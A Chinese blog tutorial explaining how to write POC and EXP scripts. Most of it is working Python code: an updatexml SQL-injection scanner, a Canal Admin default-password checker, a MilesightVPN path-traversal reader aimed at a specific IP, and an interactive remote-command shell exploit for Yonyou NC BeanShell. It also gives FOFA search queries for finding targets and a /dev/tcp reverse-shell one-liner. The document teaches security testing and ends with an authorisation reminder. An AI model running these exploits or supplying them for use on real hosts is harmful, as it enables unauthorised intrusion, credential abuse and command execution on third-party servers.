POC & EXP 编写

 

POC & EXP 编写


1. POC 与 EXP 的区别

1.1 定义

  • POC(Proof of Concept):漏洞验证 无害的

  • EXP(Exploit): 漏洞利用

1.2 本质区别

两者的核心区别在于使用的 payload 不同。

例如,对于同一个远程命令执行漏洞:

  • payloadid / whoami 这类探测性命令(仅用于验证是否存在漏洞),则该脚本属于 POC

  • payload 是反弹 shell 的命令(如 /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1),则脚本属于 EXP

即:同一个漏洞,payload 决定了脚本是 POC 还是 EXP。POC 用于确认漏洞存在,EXP 用于实际利用获取权限或进一步操作。


2. POC 的编写

2.1 SQL 注入 POC 编写示例

目标信息

 FOFA:   
 body="media/css/uniform.default.css" && body="资管云" || body="不要着急,点此" || title="资管云"

功能要求

  • -u 测试单个 URL

  • -f 批量测试(从 urls.txt 读取)

输出格式

  • [+]http://xxx.com 存在sql注入

  • [-]http://xxx.com 不存在sql注入

  • [-]http://xxx.com 请求失败

结果保存

将存在 SQL 注入的站点 URL 保存到 result.txt,每行一个:

 http://xxx.com
 http://xxx.com

完整 POC 代码(带详细注释)

 # 导入 argparse 模块
 # argparse 是 Python 标准库,用于解析命令行参数。
 # 例如:
 # python poc.py -u http://127.0.0.1
 # python poc.py -f url.txt
 import argparse
 
 # 导入 requests 库
 # requests 是 Python 中最常用的 HTTP 请求库。
 # 用于发送 GET、POST 等请求。
 import requests
 
 # 从 multiprocessing 模块导入 Pool(进程池)
 # Pool 可以开启多个子进程,提高批量检测效率。
 from multiprocessing import Pool
 
 # quote() 用于 URL 编码
 # 例如:
 # "a b" -> "a%20b"
 # 防止 URL 中特殊字符影响请求。
 from urllib.parse import quote
 
 
 # -------------------------------
 # PoC 验证函数
 # 每一个 URL 都会调用一次该函数
 # -------------------------------
 def poc(url):
 
     # 去掉字符串前后的空格、换行符
     # 例如:
     # " http://test.com\n"
     # ↓
     # "http://test.com"
     url = url.strip()
 
     # 判断字符串是不是以 http 开头
     # startswith() 返回 True 或 False
     if not url.startswith("http"):
 
         # 如果用户输入的是:
         # www.test.com
         # 自动补成:
         # http://www.test.com
         url = "http://" + url
 
     # -------------------------------
     # SQL 注入测试参数(Payload)
     # -------------------------------
     #
     # 这是向目标发送的测试参数。
     # 它的目的不是获取数据,而是让数据库产生特定错误,
     # 然后根据错误信息判断是否存在 SQL 注入。
     #
     # payload 实际上就是 URL 中的一段查询字符串。
     #
     payload = "feeItem[]=1+AND+updatexml(1,concat(0x7e,md5(12345678)),1)"
 
     # -------------------------------
     # 拼接最终请求地址
     # -------------------------------
     #
     # quote(payload)
     # 会把特殊字符进行 URL 编码。
     #
     # 假设:
     #
     # url =
     # http://test.com/demo?
     #
     # 拼接后可能类似:
     #
     # http://test.com/demo?feeItem[]=1...
     #
     target = f"{url}{quote(payload)}"
 
     # -------------------------------
     # HTTP 请求头
     # -------------------------------
     #
     # User-Agent 用来伪装浏览器。
     # 很多网站会拦截默认的 Python requests。
     #
     headers = {
         "User-Agent":
         "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
         "AppleWebKit/537.36 "
         "(KHTML, like Gecko) "
         "Chrome/58.0.3029.110 Safari/537.3"
    }
 
     # -------------------------------
     # try 用来捕获异常
     # -------------------------------
     #
     # 如果目标打不开
     # 如果超时
     # 如果 DNS 错误
     #
     # 程序不会崩溃。
     #
     try:
 
         # 发送 GET 请求
         #
         # 参数说明:
         #
         # target
         #     请求地址
         #
         # headers
         #     HTTP 请求头
         #
         # timeout
         #     超时时间(秒)
         #
         response = requests.get(
             target,
             headers=headers,
             timeout=10
        )
 
         # --------------------------------
         # 判断返回结果
         # --------------------------------
         #
         # response.status_code
         # HTTP 状态码
         #
         # 200
         # 表示服务器正常返回
         #
         # response.text
         # 返回网页源码
         #
         if response.status_code == 200 and "XPATH" in response.text:
 
             # 如果检测成功
             print(f"[+] {url} 存在漏洞")
 
             # 打开 result.txt
             #
             # "a"
             # append(追加)
             #
             # 如果文件不存在
             # 自动创建
             #
             # 如果文件存在
             # 在最后继续写
             #
             with open("result.txt", "a") as f:
 
                 # 把 URL 写入文件
                 f.write(f"{url}\n")
 
         else:
 
             # 没有发现指定特征
             print(f"[-] {url} 不存在漏洞")
 
     # 捕获所有异常
     except Exception as e:
 
         # 输出异常原因
         print(f"[!] 请求 {url} 时发生错误: {e}")
 
     # 返回 None
     # 实际这里可以省略
     return None
 
 
 # -------------------------------
 # 主函数
 # -------------------------------
 def main():
 
     # 创建命令行参数解析器
     parser = argparse.ArgumentParser(
         description="SQL注入漏洞检测脚本"
    )
 
     # 添加参数:
     #
     # -u
     # --url
     #
     # 例如:
     #
     # python poc.py -u http://test.com
     #
     parser.add_argument(
         '-u',
         '--url',
         type=str,
         help='单个URL检测'
    )
 
     # 添加参数:
     #
     # -f
     # --file
     #
     # python poc.py -f url.txt
     #
     parser.add_argument(
         '-f',
         '--file',
         type=str,
         help='批量URL检测文件'
    )
 
     # 开始解析参数
     #
     # args.url 
   # args.file 
   
   args = parser.parse_args() 
​ 
   # ------------------------------- 
   # 单个检测 
   # ------------------------------- 
   if args.url: 
​ 
       # 调用 poc() 
       poc(args.url) 
​ 
   # ------------------------------- 
   # 批量检测 
   # ------------------------------- 
   elif args.file: 
​ 
       # 打开 URL 文件 
       
       # encoding='utf-8' 
       # 防止中文路径乱码 
       
       with open(args.file, 'r', encoding='utf-8') as f: 
​ 
           # 创建空列表 
           url_list = [] 
​ 
           # readlines() 
           
           # 一次读取所有行 
           
           # 返回: 
           
           # [ 
           #   "http://a.com\n", 
           #   "http://b.com\n" 
           # ] 
           
           for i in f.readlines(): 
​ 
               # 去掉换行符 
               
               # 最终得到: 
               
               # http://a.com 
               
               url_list.append( 
                   i.strip().replace('\n', '') 
              ) 
​ 
           # -------------------------------- 
           # 创建进程池 
           # -------------------------------- 
           
           # Pool(100) 
           
           # 最多开启100个子进程 
           
           mp = Pool(100) 
​ 
           # map() 
           
           # 相当于: 
           
           # for url in url_list: 
           #     poc(url) 
           
           # 但是多个进程同时执行。 
           
           mp.map(poc, url_list) 
​ 
           # 不再接受新的任务 
           mp.close() 
​ 
           # 等待所有任务结束 
           mp.join() 
​ 
   else: 
​ 
       # 用户没有输入参数 
       print("请提供一个URL或一个包含URL的文件") 
​ 
​ 
# ------------------------------- 
# Python 程序入口 
# ------------------------------- 

# __name__ 是 Python 内置变量 

# 当: 

# python poc.py 

# 时: 

# __name__ == "__main__" 

# 会执行 main() 

# 如果: 

# import poc 

# 则不会自动执行 main() 

if __name__ == "__main__": 
   main()

精简版代码(无注释,便于直接使用)

 import argparse
 import requests
 from multiprocessing import Pool
 from urllib.parse import quote
 
 def poc(url):
     url = url.strip()
     if not url.startswith("http"):
         url = "http://" + url
     payload = "feeItem[]=1+AND+updatexml(1,concat(0x7e,md5(12345678)),1)"
     target = f"{url}{quote(payload)}"
     headers = {
         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
    }
     try:
         response = requests.get(target, headers=headers, timeout=10)
         if response.status_code == 200 and "XPATH" in response.text:
             print(f"[+] {url} 存在漏洞")
             with open("result.txt", "a") as f:
                 f.write(f"{url}\n")
         else:
             print(f"[-] {url} 不存在漏洞")
     except Exception as e:
         print(f"[!] 请求 {url} 时发生错误: {e}")
     return None
 
 def main():
     parser = argparse.ArgumentParser(description="SQL注入漏洞检测脚本")
     parser.add_argument('-u', '--url', type=str, help='单个URL检测')
     parser.add_argument('-f', '--file', type=str, help='批量URL检测文件')
     args = parser.parse_args()
 
     if args.url:
         poc(args.url)
     elif args.file:
         with open(args.file, 'r',encoding='utf-8') as f:
             url_list = []
             for i in f.readlines():
                 url_list.append(i.strip().replace('\n',''))
             mp = Pool(100)
             mp.map(poc, url_list)
             mp.close()
             mp.join()
     else:
         print("请提供一个URL或一个包含URL的文件")
 
 if __name__ == "__main__":
     main()

2.2 其他 POC 示例

MilesightVPN 任意文件读取漏洞

漏洞特征/../etc/passwd 路径遍历

请求示例

 GET /plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime
 GET /plugins/servlet/snjCustomDesignConfig?fileName=../../../../etc/passwd&fileMime=$textMime

POC 模板结构

 import argparse,sys,requests,time,os,re
 from multiprocessing.dummy import Pool
 requests.packages.urllib3.disable_warnings()
 
 def banner():
     pass
 
 def poc():
     pass
 
 def main():
     pass
 
 if __name__ == '__main__':
     main()

Canal Admin 弱口令 POC

 #-*- coding: utf-8 -*-
 import argparse,sys,requests
 from multiprocessing.dummy import Pool
 requests.packages.urllib3.disable_warnings()
 
 def banner():
     test = """
  ██████╗ █████╗ ███╗   ██╗ █████╗ ██╗         █████╗ ██████╗ ███╗   ███╗██╗███╗   ██╗
 ██╔════╝██╔══██╗████╗ ██║██╔══██╗██║         ██╔══██╗██╔══██╗████╗ ████║██║████╗ ██║
 ██║     ███████║██╔██╗ ██║███████║██║         ███████║██║ ██║██╔████╔██║██║██╔██╗ ██║
 ██║     ██╔══██║██║╚██╗██║██╔══██║██║         ██╔══██║██║ ██║██║╚██╔╝██║██║██║╚██╗██║
 ╚██████╗██║ ██║██║ ╚████║██║ ██║███████╗   ██║ ██║██████╔╝██║ ╚═╝ ██║██║██║ ╚████║
  ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝   ╚═╝ ╚═╝╚═════╝ ╚═╝     ╚═╝╚═╝╚═╝ ╚═══╝
                                        tag: this is a canal admin weak Password poc                                      
                                                      @version: 1.0.0   @author: 有🐟          
 """
     print(test)
 
 def poc(target):
     url = target+"/api/v1/user/login"
     headers={
         "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
         "Content-Type":"application/json;charset=UTF-8"
    }
     json = {
         "username": "admin",
         "password": "123456"
    }
     try:
         res = requests.post(url,headers=headers,json=json,verify=False,timeout=5).text
         if "token" in res:
             print(f"[+] {target} is vulable,[admin:123456]")
             with open("result.txt", "a+", encoding="utf-8") as f:
                 f.write(target+"\n")
         else:
             print(f"[-] {target} is not vulable")
     except:
         print(f"[*] {target} server error")
 
 def main():
     banner()
     parser = argparse.ArgumentParser(description='canal admin weak Password')
     parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
     parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
     args = parser.parse_args()
     if args.url and not args.file:
         poc(args.url)
     elif not args.url and args.file:
         url_list=[]
         with open(args.file,"r",encoding="utf-8") as f:
             for url in f.readlines():
                 url_list.append(url.strip().replace("\n",""))
         mp = Pool(100)
         mp.map(poc, url_list)
         mp.close()
         mp.join()
     else:
         print(f"Usag:\n\t python3 {sys.argv[0]} -h")
 
 if __name__ == '__main__':
     main()

MilesightVPN 任意文件读取 POC(完整)

 #-*- coding: utf-8 -*-
 import argparse,sys,requests
 from multiprocessing.dummy import Pool
 requests.packages.urllib3.disable_warnings()
 
 def banner():
     test = """
 
 ███╗   ███╗██╗██╗     ███████╗███████╗██╗ ██████╗ ██╗ ██╗████████╗██╗   ██╗██████╗ ███╗   ██╗
 ████╗ ████║██║██║     ██╔════╝██╔════╝██║██╔════╝ ██║ ██║╚══██╔══╝██║   ██║██╔══██╗████╗ ██║
 ██╔████╔██║██║██║     █████╗ ███████╗██║██║ ███╗███████║   ██║   ██║   ██║██████╔╝██╔██╗ ██║
 ██║╚██╔╝██║██║██║     ██╔══╝ ╚════██║██║██║   ██║██╔══██║   ██║   ╚██╗ ██╔╝██╔═══╝ ██║╚██╗██║
 ██║ ╚═╝ ██║██║███████╗███████╗███████║██║╚██████╔╝██║ ██║   ██║   ╚████╔╝ ██║     ██║ ╚████║
 ╚═╝     ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝   ╚═╝     ╚═══╝ ╚═╝     ╚═╝ ╚═══╝
                                                                                               
                                        tag: MilesightVPN 任意文件读取漏洞                                      
                                                      @version: 1.0.0   @author: 有🐟          
 """
     print(test)
 
 headers={
     "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
 }
 
 proxies={
     "http":"127.0.0.1:8080",
     "https":"127.0.0.1:8080"
 }
 
 def poc(target):
     url = target+"/%2e%2e/etc/passwd"
     res = requests.get(url,headers=headers,verify=False,timeout=5,proxies=proxies).text
     if "root" in res:
         print(f"[+] {target} is vulable")
         print(res)
     else:
         print(f"[+] {target} is not vulable")
 
 def main():
     banner()
     parser = argparse.ArgumentParser(description='MilesightVPN 任意文件读取漏洞')
     parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
     parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
     args = parser.parse_args()
     if args.url and not args.file:
         poc(args.url)
     elif not args.url and args.file:
         url_list=[]
         with open(args.file,"r",encoding="utf-8") as f:
             for url in f.readlines():
                 url_list.append(url.strip().replace("\n",""))
         mp = Pool(100)
         mp.map(poc, url_list)
         mp.close()
         mp.join()
     else:
         print(f"Usag:\n\t python3 {sys.argv[0]} -h")
 
 if __name__ == '__main__':
     poc("https://182.160.25.210:18443")

3. EXP 的编写

3.1 用友 NC BeanShell 远程代码执行(CNVD-2021-30167)

漏洞信息

title=="YONYOU NC" && country="SG"
路径:/servlet/~ic/bsh.servlet.BshServlet

EXP 整体结构

import argparse,sys,requests,time,os,re
from multiprocessing.dummy import Pool
requests.packages.urllib3.disable_warnings()

def banner():
pass

def poc():
pass

def exp():
pass

def main():
banner()
parser = argparse.ArgumentParser(description='YongYouNC RCE EXP')
parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
args = parser.parse_args()
if args.url and not args.file:
if poc(args.url):
exp(args.url)
elif not args.url and args.file:
url_list=[]
with open(args.file,"r",encoding="utf-8") as f:
for url in f.readlines():
url_list.append(url.strip().replace("\n",""))
mp = Pool(100)
mp.map(poc, url_list)
mp.close()
mp.join()
else:
print(f"Usag:\n\t python {sys.argv[0]} -h")

if __name__ == '__main__':
main()

完整 EXP 代码(含 Banner 和交互式命令执行)

#-*- coding: utf-8 -*-
import argparse,sys,requests,time,os,re
from multiprocessing.dummy import Pool
requests.packages.urllib3.disable_warnings()

def banner():
test = """

▓██ ██▓ ▒█████ ███▄ █ ▄████▓██ ██▓ ▒█████ █ ██ ███▄ █ ▄████▄
▒██ ██▒▒██▒ ██▒ ██ ▀█ █ ██▒ ▀█▒▒██ ██▒▒██▒ ██▒ ██ ▓██▒ ██ ▀█ █ ▒██▀ ▀█
▒██ ██░▒██░ ██▒▓██ ▀█ ██▒▒██░▄▄▄░ ▒██ ██░▒██░ ██▒▓██ ▒██░▓██ ▀█ ██▒▒▓█ ▄
░ ▐██▓░▒██ ██░▓██▒ ▐▌██▒░▓█ ██▓ ░ ▐██▓░▒██ ██░▓▓█ ░██░▓██▒ ▐▌██▒▒▓▓▄ ▄██▒
░ ██▒▓░░ ████▓▒░▒██░ ▓██░░▒▓███▀▒ ░ ██▒▓░░ ████▓▒░▒▒█████▓ ▒██░ ▓██░▒ ▓███▀ ░
██▒▒▒ ░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ░▒ ▒ ██▒▒▒ ░ ▒░▒░▒░ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░ ░▒ ▒ ░
▓██ ░▒░ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ░ ▓██ ░▒░ ░ ▒ ▒░ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ░ ▒
▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░

tag: YongYouNC RCE EXP
@version: 1.0.0 @author: 有🐟
"""
print(test)

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
}

def poc(target):
"""检测目标是否存在漏洞"""
url = target + "/servlet/~ic/bsh.servlet.BshServlet"
data = {"bsh.script": 'print("zbdx");'} # 测试 payload,输出特定字符串
try:
res = requests.post(url, headers=headers, data=data, timeout=5, verify=False).text
if "zbdx" in res: # 若返回内容包含测试字符串,表示存在漏洞
print(f"[+] 经检查,{target} is vulable")
with open("vulable.txt", "a+", encoding="utf-8") as f:
f.write(target + "\n")
return True
else:
print(f"[+] 经检查,{target} is not vulable")
return False
except:
print(f"[+] {target} error")
return False

def exp(target):
"""漏洞利用:交互式命令执行"""
print("正在努力给你搞一个shell...")
time.sleep(2)
os.system("cls") # 清屏(Windows)
while True:
cmd = input("请输入你要执行的命令(q--->quit)\n>>>")
if cmd == "q":
exit()
url = target + "/servlet/~ic/bsh.servlet.BshServlet"
data = {"bsh.script": f'''exec("{cmd}");'''} # 利用 BeanShell 执行系统命令
try:
res = requests.post(url, headers=headers, data=data, timeout=5, verify=False).text
# 从返回的 HTML 中提取命令执行结果(位于 <pre> 标签内)
result = re.findall('''<pre>(.*?)</pre>''', res, re.S)[0]
print(result)
except:
print("执行异常,请称重新执行其它命令试试")

def main():
banner()
parser = argparse.ArgumentParser(description='YongYouNC RCE EXP')
parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.example.com")
parser.add_argument("-f", "--file", dest="file", type=str, help=" urls.txt")
args = parser.parse_args()
if args.url and not args.file:
if poc(args.url):
exp(args.url)
elif not args.url and args.file:
url_list = []
with open(args.file, "r", encoding="utf-8") as f:
for url in f.readlines():
url_list.append(url.strip().replace("\n", ""))
mp = Pool(100)
mp.map(poc, url_list)
mp.close()
mp.join()
else:
print(f"Usag:\n\t python3 {sys.argv[0]} -h")

if __name__ == '__main__':
main()

4. 补充知识点

4.1 POC 开发注意事项

  1. 异常处理:网络请求必须用 try...except 包裹,防止因超时、连接错误导致脚本崩溃。

  2. 代理设置:调试时可通过 proxies 参数将流量转发到 Burp Suite 等工具,便于观察请求与响应。

  3. 超时设置:合理设置 timeout(如 5~10 秒),避免长时间阻塞。

  4. 多进程并发:批量检测时使用进程池(multiprocessing.Pool)可大幅提高效率,但需注意目标服务器压力,避免被封 IP。

  5. 输出格式:统一使用 [+][-][!] 等前缀,便于阅读和自动化处理。

  6. 文件读写:使用 with open() 确保文件正确关闭,追加模式 'a' 避免覆盖之前的结果。

  7. URL 规范化:对用户输入的 URL 进行补全(添加 http://)和去除换行符。

  8. 编码问题:涉及非 ASCII 字符时需指定 encoding='utf-8'

4.2 EXP 开发注意事项

  1. 先 POC 后 EXP:通常先编写 POC 确认漏洞存在,再编写 EXP 进行利用,保证安全性。

  2. 交互设计:EXP 宜提供交互式命令执行,方便输入任意命令。

  3. 结果提取:利用正则表达式提取命令输出,注意 HTML 标签可能变化,应尽量定位精确。

  4. 错误处理:命令执行失败时应有提示,并允许用户继续输入其他命令。

  5. 退出机制:提供退出方式(如 q),避免死循环。

4.3 常见漏洞类型 POC 编写要点

  • SQL 注入:构造 payload 使数据库产生错误或延迟,根据响应特征判断。

  • 文件上传:发送包含恶意文件的 multipart/form-data 请求,然后访问上传路径验证是否成功。

  • 命令注入:执行 pingecho 等无害命令,通过响应时间或回显判断。

  • 路径遍历:构造 ../../ 尝试读取敏感文件(如 /etc/passwd),根据文件内容判断。

  • 反序列化:发送恶意序列化数据,观察服务器响应或异常信息。

4.4 安全与法律提醒

  • 编写和使用 POC/EXP 应仅用于授权的安全测试,未经许可对他人系统进行漏洞验证或利用属违法行为。

  • 在生产环境测试前需获得书面授权。

  • 建议在本地搭建漏洞环境进行学习和验证。


总结

  • POC 与 EXP 的核心差异在于 payload 的目的:POC 用于验证漏洞存在,EXP 用于进一步利用获取权限。

  • POC 编写流程:确定目标 → 构造 payload → 发送请求 → 根据响应特征判断漏洞是否存在 → 输出结果并记录。

  • EXP 编写流程:在 POC 基础上增加利用功能,通常提供交互式命令执行或自动获取 shell。

  • 关键库argparse(命令行参数)、requests(HTTP 请求)、multiprocessing(并发)、re(正则提取)、urllib.parse(URL 编码)。

  • 批量检测:使用进程池(Pool)实现多线程/多进程并发,显著提升效率。

  • 健壮性:充分处理异常、超时、代理、编码等问题,确保脚本在各种环境下稳定运行。

  • 模板化:可建立通用 POC/EXP 模板,包含 banner、参数解析、并发检测、结果输出等,方便快速开发。

掌握 POC/EXP 的编写方法,不仅能提高安全测试的效率,还能深入理解漏洞原理,为漏洞挖掘与防护打下坚实基础。建议多练习不同漏洞类型的 POC 编写,逐步积累经验。

posted @ 2026-07-11 14:36  月初吖  阅读(5)  评论(0)    收藏  举报